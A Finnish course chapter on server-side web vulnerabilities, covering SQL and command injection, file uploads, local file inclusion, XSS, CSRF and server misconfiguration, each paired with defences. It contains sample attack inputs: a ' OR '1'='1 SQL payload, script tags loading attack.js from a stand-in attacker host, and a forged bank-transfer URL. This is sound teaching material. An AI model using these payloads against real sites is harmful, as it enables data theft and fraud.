Palvelimen haavoittuvuudet¶

Tässä alaluvussa käsitellään www- ja mobiilisovellusten turvallisuutta palvelimen näkökulmasta.

Injektiohaavoittuvuudet¶

Jos sovellus tarkastaa käyttäjän syötteet puutteellisesti, hyökkääjälle aukeaa tilaisuus lisätä, injektoida, koodia sovelluksen ohjausvirtaan. Yleisiä verkko- ja mobiilisovellusten injektiohaavoittuvuuksia ovat SQL- ja shell-injektiot. Niissä hyökkääjä pääsee manipuloimaan tietokantakäskyjä tai käyttöjärjestelmän komentotulkille (shellille) meneviä käskyjä. Injektiohyökkäysten päätavoitteena on kiertää autentikointi ja paljastaa arkaluonteisia tietoja, esim. kirjautumistietoja, henkilökohtaisia tunnistetietoja tai yritysten immateriaaliomaisuutta.

Injektiohaavoittuvuudet voidaan korjata

sanitoimalla syötteet, eli suodattamalla niistä pois virheellinen ja vaarallinen sisältö, ja
ottamalla käyttöön sopivat pääsynvalvontapolitiikat estämään injektoitua koodia pääsemästä tietoihin ja käsittelemästä tietoja.

SQL-injektio (syventävä)

SQL-injektiohyökkäykset viittaavat tietokantakyselyiden koodi-injektioihin, joihin käytetään relaatiotietokannoissa Structured Query Language (SQL) -kieltä. Monet verkko- ja mobiilisovellukset antavat käyttäjien syöttää tietoja lomakkeiden tai URL-parametrien kautta. SQL-injektio tapahtuu, jos tällaista käyttäjän syötettä ei suodateta koodinvaihtomerkkien varalta ja käytetään sitten SQL-käskyjen muodostamiseen. Jos hyökkääjät pääsevät muokkaamaan SQL-käskyjä, se voi johtaa hyökkääjän tietokantapääsyyn tai tietokannan tietojen manipulointiin.

Esimerkki. Sovelluksen koodissa olevan rivin

kysely = "SELECT * FROM creditcards WHERE number = ’asiakasnro’; "

tarkoituksena on muodostaa kysely, joka hakee luottokorttitiedot tietylle käyttäjälle. Esimerkki odotetusta syötteestä muuttujaan asiakasnro on 56789. Jos asiakasnro tulee tuohon ilman tarkastusta suoraan käyttäjän syötteestä, hyökkääjä saattaa kirjoittaa syötteeksi 12345' OR '1'='1. Kantaan menee tällöin käsky:

SELECT * FROM creditcards WHERE number = '12345' OR '1'='1';

Sen sijaan, että vain yhdelle asiakasnumerolle haetaan luottokorttitiedot, haetaankin tiedot kaikista taulun creditcards luottokorteista. Näin on, vaikka WHERE-ehdon alkuosa ei toteutuisi (ei olisi asiakasta numero 12345), sillä jälkiosa on aina totta. Sovellus, jossa on tällainen SQL-injektiohaavoittuvuus, voisi vuotaa luottokorttitietoja kaikilta käyttäjiltä.

Yllä olevan SQL-injektion torjumiseksi olisi riittänyt jo asiakasnron numeerisuuden tarkastaminen. Jos injektio onnistui, sen tulosten näkyminen hyökkääjälle riippuu siitä, mitä sovellus tekee seuraavaksi. Päävoitto tulee, jos sovellus näyttää kaikkien löytämiensä luottokorttien tiedot tulossivulla. SQL-injektion vaikutus voi kuitenkin jäädä hyökkääjältä piiloon:

Sokea SQL-injektio ei näytä tuloksia suoraan hyökkääjälle. Hyökkäyksen vaikutus, tai ainakin sen onnistuminen, saattaa paljastua hyökkääjälle verkkosovelluksen vastauksesta tai myöhempien kyselyiden tuloksista.

Toisen kertaluvun SQL-injektiossa käyttäjän syöte ei saa välittömästi aikaan mitään vastaavaa kuin edellä, mutta syöte tallentuu tietokantaan myöhempää käyttöä varten. Muut sovelluksen osat luottavat tallennettuun käyttäjän syötteeseen käsittelemättä tai suodattamatta sitä kunnolla.

Yksi tapa vähentää SQL-injektiohyökkäyksien vaikutuksia on käyttää valmiita lausekkeita (prepared statements). Niissä käyttäjän syötteitä tai muitakaan muuttujia ei upoteta raaka-SQL-lauseisiin, vaan niille merkitään kysymysmerkeillä paikat SQL-lausekkeen runkoon. Seuraavaksi muuttujien nimet ja niille rajatut tyypit kiinnitetään. Tämä ei estä (string-tyypin tapauksessa) SQL-koodin syöttämistä, mutta sellainen koodi ei päädy SQL:n tulkittavaksi vaan pysyy datana. SQL-injektion yritykset johtavat useimmissa tapauksissa virheellisiin parametriarvoihin, eivätkä toimi hyökkääjän tarkoittamalla tavalla. Esimerkiksi:

kysely = Preparoi_SQL ( "SELECT * FROM creditcards WHERE number = '?'; "")

Kiinnitä_preparoitu_SQL ( kysely, STRING, asiakasnro )

Tällöin muuttujan asiakasnro sisältämä merkkijono menee kokonaisuudessaan SQL-kyselyssä tapahtuvaan vertailuun.

Monet verkkosovelluskehykset tukevat valmiita lausekkeita koodaustasolla esim. ORM-rajapintojen kautta (Object Relational Mapping). ORM:t luovat tietokantalausekkeita koodista, jolloin kehittäjien ei tarvitse kirjoittaa SQL-kyselyitä itse.

Toinen SQL-injektion torjuntatapa on muuntaa käyttäjän syötteestä merkit, jotka voivat muodostaa SQL-lauseiden syntaksia. Tämä escaping-tapa on kuitenkin virhealtis (vrt. HTML escaping). Monet sovellukset, joissa on käytössä SQL-escaping, ovat edelleen alttiina SQL-injektiohyökkäyksille. Virheiden syynä ovat usein epätäydelliset luettelot merkeistä, jotka pitäisi escapoida. Kun escapingia käytetään, kehittäjien tulisi käyttää verkkosovelluskehysten tarjoamia toimintoja (esim. PHP:n mysqli_real_escape_string()-funktio) sen sijaan, että toteutetaan omia escaping-funktioita.

Komentoinjektiot (syventävä)

Komentoinjektiohyökkäys vaikuttaa sovelluksiin, joiden ominaisuutena on komentojen suorittaminen verkkosovelluksen isäntäkäyttöjärjestelmässä. Esimerkiksi sovellus muuntaa käyttäjän toimittamia kuvia toiseen muotoon kutsumalla komentoriviohjelmaa, jolle käyttäjä syöttää sovelluksen kautta parametrit, kuten tiedostonimet ja asetukset. Jos käyttäjän syötettä ei puhdisteta, se voi sisältää koodia, joka tulee ajetuksi komentorivillä, yleensä sovelluksen oikeuksilla. Hyökkääjä voi tällä tavoin päästä laajentamaan alkuperäistä komentoa tai ajamaan lisäkomentoja.

Komentoinjektioita torjutaan rakentamalla komennot siten, että hyökkääjille ei jää tilaa käyttää hyväkseen haitallisia merkkijonosyötteitä (vrt. preparoitu SQL-lauseke). Syötteen tarkistamisen lisäksi suositellaan pienimpien oikeuksien periaatetta sekä järjestelmäkomentojen ja kutsuvan sovelluksen oikeuksien rajoittamista. Kutsuttavien järjestelmäkomentojen määrää tulee rajoittaa käyttämällä määrämuotoisia merkkijonoliteraaleja käyttäjän syöttämien raakamerkkijonojen sijaan. Turvallisuuden lisäämiseksi suositellaan säännöllistä koodin tarkistusta ja haavoittuvuustietokantojen (esim. CVE-tietokanta) seuraamista uusien haavoittuvuuksien varalta. Jos on mahdollista, järjestelmäkomentojen suorittamista tulisi välttää kokonaan. Sen sijaan API-kutsujen käyttöä suositellaan.

Käyttäjän palvelimelle lataamat tiedostot (syventävä)

Kaikkia käyttäjien palvelimelle lataamia tiedostoja (esim. kuvat, PDF-tiedostot), tulisi käsitellä varoen. Haitalliset tiedostot voivat suorittaa ei-toivottuja komentoja palvelimen käyttöjärjestelmässä, ylikuormittaa järjestelmää, laukaista asiakaspuolen hyökkäyksiä tai turmella haavoittuvia sovelluksia.

Esimerkiksi some-sovellus, jossa käyttäjät voivat ladata avatar-kuvansa palvelimelle, on haavoittuvainen, jos käyttäjän syöttämiä tiedostoja ei tarkisteta. Haittaan pyrkivä käyttäjä voisi ladata palvelimelle kuvatiedoston sijasta esim. tiedoston avatar1.php. Tiedoston käsitteleminen saattaisi johtaa palvelinta kohtelemaan sitä suoritettavana PHP-tiedostona. Tällaisella haavoittuvuudella hyökkääjät voisivat suorittaa koodia palvelimella PHP-prosessin oikeuksilla ja esim. hallita muille sovelluksen käyttäjille tarjottavaa sisältöä.

Hyökkäysten estämiseksi käyttäjiltä tulevia tiedostoja ja niiden metatietoja (esim. tiedostonimet ja -tyypit) on rajoitettava ja suodatettava, esim. etsimällä haittaohjelmia. Tiedostonimet ja polut tulisi rakentaa käyttämällä merkkijonoliteraaleja raakamerkkijonojen sijaan. Asianmukaisia mime-tyyppejä HTTP-vastauksille tulisi käyttää aina kun mahdollista. Tiedostot, jotka ovat vain haettavissa ja joita ei näytetä selaimessa, voidaan merkitä Content-Disposition HTTP-vastausotsikolla. Toinen ratkaisu on palvella tiedostoja eri domainista. Jos domain ei ole alkuperäisen domainin aliverkkotunnus, SOP estää haitallisen tiedoston pääsyn evästeisiin ja muuhun kriittisten tietoon. Lisäksi JavaScript- ja HTML-tiedostot ovat myös SOP:n suojaamia.

Local file inclusion (syventävä)

Komentoinjektiolla, manipuloidulla tiedostonimellä tai tiedostoon tai tietokantaan syötetyllä virheellisellä polulla voidaan saada haavoittuvan sovelluksen tekemä tiedostoviittaus osoittamaan väärään palvelimella sijaitsevaan tiedostoon. Tällöin oikean tiedoston sijasta sovellus lukee ja palauttaa hyökkääjän valitseman tiedoston sisällön, esim. käyttäjien kirjautumistiedot tiedostosta .htaccess tai /etc/shadow.

Tiedostopolun parametrien, kuten / ja .. sanitoinnin lisäksi käyttäjän syötteen käsittelyssä on suositeltavaa käyttää vähimpien oikeuksien periaatetta. Verkkosovelluksella tulee olla minimaaliset oikeudet ja pitää huolehtia, ettei sillä ole pääsyä arkaluonteisiin tiedostoihin.

Cross-Site Scripting (XSS) (syventävä)

Koodin injektio voi tapahtua myös käyttäjältä toiselle, eli jostain ulkoisesta suorituskontekstista sisäiseen eli samaan, jossa tuon toisen käyttäjän sovellus toimii. Tästä tulee nimitys cross-site scripting. Sellainen voi tapahtua, jos ensimmäinen käyttäjä pääsee lisäämään normaalin sisällön lomaan omia koodejaan (esim. Javascriptiä) verkkosivustolle tai sinne osoittavaan linkkiin, ja kyseinen sivusto jakaa sisällön sellaisenaan muille käyttäjille. Esimerkiksi viestifoorumit, jotka vastaanottavat käyttäjien sisältöä ja näyttävät sen muille käyttäjille, ovat alttiita XSS-hyökkäyksille. Haavoittuvuuden juurisyy ovat verkkosovellukset, jotka eivät käytä kunnollista syötteiden tarkistusta. Jos yhden käyttäjän toimittamaa JavaScriptiä jaetaan muille käyttäjille, se voi manipuloida näiden näkemää verkkosivustoa tai varastaa arkaluonteisia tietoja. Asiakasselain ei pysty havaitsemaan haitallista koodia, koska koodin lähettäjä on alkuperäinen isäntä, ts. samaan alkuperään perustuvat turvatoimenpiteet ovat tehottomia. XSS-hyökkäyksiä on kahta päätyyppiä:

Varastoitu (stored, pysyvä) XSS pääsi jo esille edellä viestifoorumin tapauksessa. Siinä haitallinen skripti tallentuu pysyvästi palvelimelle (esim. tietokantaan). Se päätyy uhreille aina, kun he pyytävät viestifoorumilta html-dokumenttia, jonka jossain kommenttikentässä skripti on. Se voi olla myös tällainen: <script src=’\http://pahis.com/attack.js’/></script>, jossa lyhyt skripti hakee lisää pahiksen palvelimelta. Same origin policy ei auta vaan uhrin selain ajaa senkin, koska sen konteksti on sama kuin foorumin.

Heijastettu (reflected) XSS-hyökkäys ei tallenna skriptiä kohdepalvelimelle, vaan palvelin heijastaa sen uhreille. Heijastamiseen käytetään eri kanavia. Yleinen heijastustapa on luoda linkki kohdesivustolle (myös esim. lomake toimii tässä tarkoituksessa). Linkki, siis sen URL, sisältää skriptin, ja linkin napsauttaminen suorittaa skriptin kohdesivuston kontekstissa. URL voisi esimerkiksi olla näin yksinkertainen: \https://haavafoorumi.com/search?q=<script src=’\http://pahis.com/attack.js’></script>. Heijastettua XSS-hyökkäystä kutsutaan myös ei-pysyväksi XSS:ksi.

Molempien XSS-perustyyppien estäminen edellyttää tiukkaa käyttäjän syötteiden validointia. Tehokkain tapa on whitelist-lähestymistapa, joka sallii vain erikseen määritellyt syötteet. Turvallista entiteettikoodausta varten suositellaan valmiita tietoturvakirjastoja, koska koodereiden kirjoittaminen itse on hankalaa ja niiden auditointi kallista.

XSS-haavoittuvuuksien täydellinen poistaminen pelkällä sanitoinnilla voi olla hyvin vaikeaa. Yksi lupaava ehdotus (vuodelta 2014) oli kaikkien HTML‑elementtien ja ‑attribuuttien varustaminen satunnaisella etuliitteellä ennen kuin ne lähetetään palvelimelta selaimelle. Poistettuaan etuliitteet (palvelimen ohjeistuksen mukaan) ja hylättyään kaiken, mistä etuliite puuttui, selaimelle jäi vain palvelimen tuottama sisältö, mukaan lukien luotettavat skriptit. Tällaisia menetelmiä ei kuitenkaan otettu käyttöön, eivätkä syyt rajoittuneet siihen, että selaimia olisi pitänyt muuttaa. Vielä tärkeämpää on se, että ne eivät auttaisi DOM‑pohjaisia XSS‑hyökkäyksiä vastaan. Tällöin haitallinen skripti ei sijaitse lainkaan palvelimen HTTP‑vastauksessa. Sen sijaan haitta on selaajan napsauttamassa linkissä. URL:n haitallisen osan paikallinen käsittely selaimessa muuttaa tulkintaympäristöä, jolloin selain tulkitsee HTTP‑vastauksessa saapuvat sinänsä oikeat ja luotettavat skriptit väärin (eli juuri DOM käyttäytyy poikkeavasti). Jos haluat tietää lisää, katso OWASP-sivun esimerkki. Siinä on muokattu URLin kyselyparametri. Homma menee vielä “villimmäksi”, kun XSS-skripti on saatu sijoitetuksi URLin fragmenttiosaan (#-merkin jälkeen), joka ei edes lähde palvelimelle. Jos sinun täytyy käytännössä suojautua XSS‑hyökkäyksiltä, niin pelkän syötteiden validoinnin lisäksi tutustu myös tulosteiden koodaukseen ja muihin menetelmiin, esim. toiselta OWASP-sivulta.

Cross-Site Request Forgery (CSRF) (syventävä)

Kun käyttäjä lähettää HTTP-pyynnön palvelimelle, hän saa usein aikaan muitakin tapahtumia kuin sivun latautumisen, sen mukaan mitä HTTP-pyynnön URLissa (mm. GET-parametreissa), otsikkotiedoissa, POST-parametreissa ym. sanotaan. Jos palvelin suorittaa nämä toimet silloinkin, kun käyttäjän selain lähettää saman pyynnön muualta kuin asianmukaiselta sivulta, hyökkääjällä on tilaisuus rakentaa tuollainen muu paikka ja toteuttaa Cross-Site Request Forgery (CSRF). CSRF-hyökkäykset ovat vaarallisia, koska useimmat palvelimille lähetetyt pyynnöt sisältävät käyttäjän identiteettiin liittyviä valtuutustietoja (salasanat, käyttäjätunnukset, sessiotokenit) sekä istuntotietoja esim. evästeitä. Autentikoidut käyttäjät ovat erityisen houkuttelevia uhreja, koska palvelimien voi olla vaikea erottaa hyvänlaatuiset ja haitalliset pyynnöt, kunhan ne lähetetään uhrin selaimelta. CSRF ei tarjoa hyökkääjälle helppoa pääsyä palvelimen antamaan vastaukseen. Siksi CSRF:n päätavoite on huijata uhrit lähettämään tilanmuutospyyntöjä palvelimille. Esim. uhrin käyttäjätietoja ja salasanoja muuttavat pyynnöt tai jonkin ostamiseen liittyvät pyynnöt ovat houkuttelevia kohteita.

Esimerkki: Verkkopankki

Liisa haluaa siirtää 50 euroa Pekalle käyttämällä verkkopankkisivustoa, jossa on CSRF-haavoittuvuus. Legitiimi pyyntö Liisaksi autentikoidulle käyttäjälle voisi olla GET \https://myonlinebank.net/transaction?to=pekka&value=50. Ensimmäisessä vaiheessa hyökkääjä voisi luoda haitallisen URL-osoitteen, kuten \https://myonlinebank.net/transaction?to=attacker&value=50, jossa korvataan Pekan tili hyökkääjän tilillä. Toisessa vaiheessa hyökkääjän pitää huijata Liisa lähettämään haitallinen pyyntö verkkoselaimellaan. Hyökkääjä voisi esim. lähettää roskapostiviestin, joka sisältää haitallisen pyynnön linkkinä. Jos Liisa ollessaan kirjautuneena napsauttaa linkkiä, hyökkäys onnistuu, ja rahat siirtyvät.

Väärinkäsitykset CSRF:n luonteesta johtavat tehottomiin vastatoimiin. CSRF:ää ei voida estää käyttämällä salaisia evästeitä, koska kaikki evästeet kuitenkin lähetetään uhrin selaimelta palvelimelle. Myös HTTPS:n käyttö on tehotonta, koska pyyntö lähtee uhrin selaimesta samaisen HTTPS-yhteyden suojaamana. Myös POST-pyyntöjen käyttö arkaluontoisille tiedoille on riittämätöntä, koska hyökkääjät voivat luoda HTML-lomakkeita, joissa on piilotettuja kenttiä. Jotta CSRF-hyökkäyksiä voidaan estää tehokkaasti, arkaluontoisiin pyyntöihin tulisi sisällyttää satunnaistettuja tokeneita, esim. lisäämällä ne pyyntöjen otsikkotietoihin. Tokenien on oltava istuntokohtaisia ja ne on luotava turvallisella satunnaislukugeneraattorilla, jotta hyökkääjät eivät pysty ennustamaan niitä. Palvelimet eivät saa hyväksyä pyyntöjä autentikoiduilta asiakkailta, jos pyyntö ei sisällä validia tokenia. CSRF on yksi syy, miksi verkkopankit ym. tärkeät palvelut suositellaan suljettaviksi heti käytön jälkeen. (Toki pankit ovat asiansa hoitaneet muutenkin.)

Palvelimen virheellinen konfigurointi ja haavoittuvat komponentit (syventävä)¶

Verkkosovelluspino koostuu useista osista, kuten verkkopalvelimista, sovelluskehyksistä, tietokantapalvelimista, palomuurijärjestelmistä, kuormantasaajista ja välityspalvelimista. Verkkosovellusten turvallisuus riippuu kunkin mukana olevan komponentin turvallisuudesta. Yksikin suojaamaton komponentti voi päästää hyökkääjän verkkosovellukseen ja sitten jatkamaan hyökkäystään sisältäpäin. Tästä syystä suojatun verkkosovelluksen käyttöönotto ja ylläpito vaatii enemmän kuin keskittymistä pelkästään sovelluksen koodiin. Jokainen verkkosovelluspinon komponentti on konfiguroitava turvallisesti ja pidettävä ajan tasalla.

Heartbleed-haavoittuvuus. Heartbleed on kuuluisa esimerkki kriittisestä haavoittuvuudesta, joka vaikutti moniin verkkosovelluspinoihin vuonna 2014. Heartbleed oli laajalti käytetyn OpenSSL-kirjaston haavoittuvuus ja sai verkkopalvelimet vuotamaan muistiin tallennettuja tietoja. Tämä sisälsi TLS-sertifikaattitietoja, esim. yksityiset avaimet, yhteyden salaustiedot, ja kaikki käyttäjän ja palvelimen välittämät tiedot, esim. salasanat, käyttäjätunnukset ja luottokorttitiedot. Korjatakseen ongelmalliset järjestelmät järjestelmänvalvojien oli päivitettävä OpenSSL-kirjastonsa mahdollisimman nopeasti ja lisäksi mielellään myös peruutettava sertifikaatit ja kehotettava käyttäjiä vaihtamaan salasanansa.

HTTPS:n virheellinen konfigurointi. Yksi web- ja mobiilitietoturvan kulmakivi on HTTPS:n oikea ja turvallinen konfigurointi verkkopalvelimissa. Tutkimuksissa on kuitenkin havaittu, että huomattava määrä suosittuja verkkosivustoja käyttää virheellisiä varmenteita, joiden sertifikaattiketjut ovat epätäydellisiä, jotka on myönnetty väärälle isäntänimelle, tai jotka ovat vanhentuneet. Tutkimuksissa on kysytty verkkosivustojen ylläpitäjiltä syitä virheellisten sertifikaattien käyttöön. Useimmat operaattorit eivät olleet tietoisia sertifikaattiensa virheellisyydestä tai käyttivät niitä tahallaan, koska eivät luottaneet verkko-PKI:hen. Tutkimuksissa on myös havaittu, että operaattoreilla on vaikeuksia konfiguroida HTTPS oikein tai heillä on vääriä käsityksiä HTTPS:n turvallisuusominaisuuksista.

Vähimpien oikeuksien periaate voi merkittävästi vähentää verkkosovelluksen hyökkäyspintaa. Tästä esimerkkinä toimivat oikeanlaiset palomuuri- ja kuormantasaajakonfiguraatiot.

Palomuuri: Verkkopalvelimen suojaamiseksi palomuuri tulee konfiguroida sallimaan pääsy ulkopuolelta vain niihin palveluihin, joihin pääsyä tarvitaan. Internetin kautta tulevia HTTP-pyyntöjä varten pääsy tulee rajoittaa portteihin 80 ja 443. Järjestelmän konfigurointiportit SSH:lle ja vastaaville tulee rajata sisäiseen verkkoon.

Kuormantasaajat

Kuormantasaaja (load balancer) on laajalti käytetty komponentti monissa verkkosovelluksissa. Sellaisen perustoimintaa on pyyntöjen ja vastausten ohjaaminen eri web-palvelimiin tai -portteihin sekä liikenteen tasapainottaminen useiden verkkopalvelimien välillä. Kuormantasaaja ylläpitää tietoa, mille palvelimelle asiakkaan autentikoitu istunto on sidottu, mutta se voi myös tarjota pääsynvalvontaa, esim. sovellustason palomuurin kaltaisin toiminnoin tai tarkistamalla asiakkaan esittämät TLS-sertifikaatit.

Kuormantasaajat voivat toimia myös nopeusrajoittimena. Ne voivat rajoittaa pyyntöjen määrää ja kokoa, sallittuja HTTP-menetelmiä ja polkuja tai määrittää aikakatkaisuja. Nopeusrajoituksen päätarkoitus on vähentää palvelunestohyökkäysten vaikutuksia verkkopalvelimeen, estää käyttäjiä lähettämästä roskapostia järjestelmiin, sekä rajoittaa ja estää odottamatonta toimintaa.

Lisäksi kuormantasaajia voidaan käyttää turvallisten TLS-yhteyksien tarjoamiseen verkkosovelluksille. Kuormantasaaja voi toimia verkkoyhteyden päätepisteenä TLS-salaukselle. Silloin se muodostaa jatkoyhteyden sovelluspalvelimelle joko TLS:n kautta tai pelkällä HTTP:llä. Jos sovelluspalvelin ei sijaitse samassa eristetyssä ympäristössä, pelkän HTTP:n käyttäminen saattaa vuotaa tietoja sisäverkkoon. Jos sovelluspalvelin ei kuitenkaan itse tarjoa TLS-tukea, kuormantasaajan käyttö TLS-päätepisteenä lisää turvallisuutta.

Tietokannat

Monet verkkosovellukset sisältävät tietokantoja käyttäjien tietojen pysyvään tallentamiseen. Usein tietokanta on lisäpalvelu, jota isännöidään toisella palvelimella. Sovelluspalvelin kommunikoi sinne kirjastojen ja rajapintojen kautta. Injektiohaavoittuvuudet pitää silti estää jo sovelluspalvelimella. Lisäksi virheet tietokantakirjastojen toteutuksessa tai sovelluksen vaatimien käyttöoikeuksien liiallisuus voivat johtaa haavoittuvuuksiin.

Hyökkäyspinnan vähentämiseksi useimmat tietokantajärjestelmät tarjoavat käyttäjähallinnan ja rajoittavat oikeuksia luoda, lukea, poistaa tai muokata tietoja tauluissa sekä toimintoja eri tietokantojen välillä. Tällä tavalla voidaan luoda yksi tietokanta sovellusta kohden ja sovelluspalvelin voi muodostaa erityiskäyttäjiä, joilla on esimerkiksi vain lukuoikeudet.

Tärkeä näkökohta tietokannan turvallisuuden lisäämisessä on päätös tietojen tallentamisesta. Tietojen salaus ennen tallennusta tietokantaan voi auttaa. Salasanojen tapauksessa salaamisen sijasta tehdään tiivistäminen ennen tallennusta, koska tässä tapauksessa riittää samanlaisuuden vertailu. Tietovuodon sattuessa arkaluontoisia tietoja ei pystytä lukemaan. Salasanojen tallentamiseen verkko- ja mobiilisovellusten kehittäjiä suositellaan käyttämään turvallisia hash-funktioita (esim. Argon2 tai PBKDF2) yhdessä satunnaisen salasanakohtaisen suolan kanssa.

Salasanavuodot. Kehittäjillä on pahana tapana tallentaa selkokielisiä salasanoja, luottokorttitietoja tai muita arkaluonteisia tietoja tietokantoihin sen sijaan, että tietoja salattaisiin tai tiivistettäisiin. Siksi monet tietokantojen vuodot vaarantavat käyttäjät. Nykyaikaiset selaimet ja salasananhallintaohjelmat auttavat käyttäjiä välttämään salasanoja, jotka ovat olleet osa aiempaa tietomurtoa.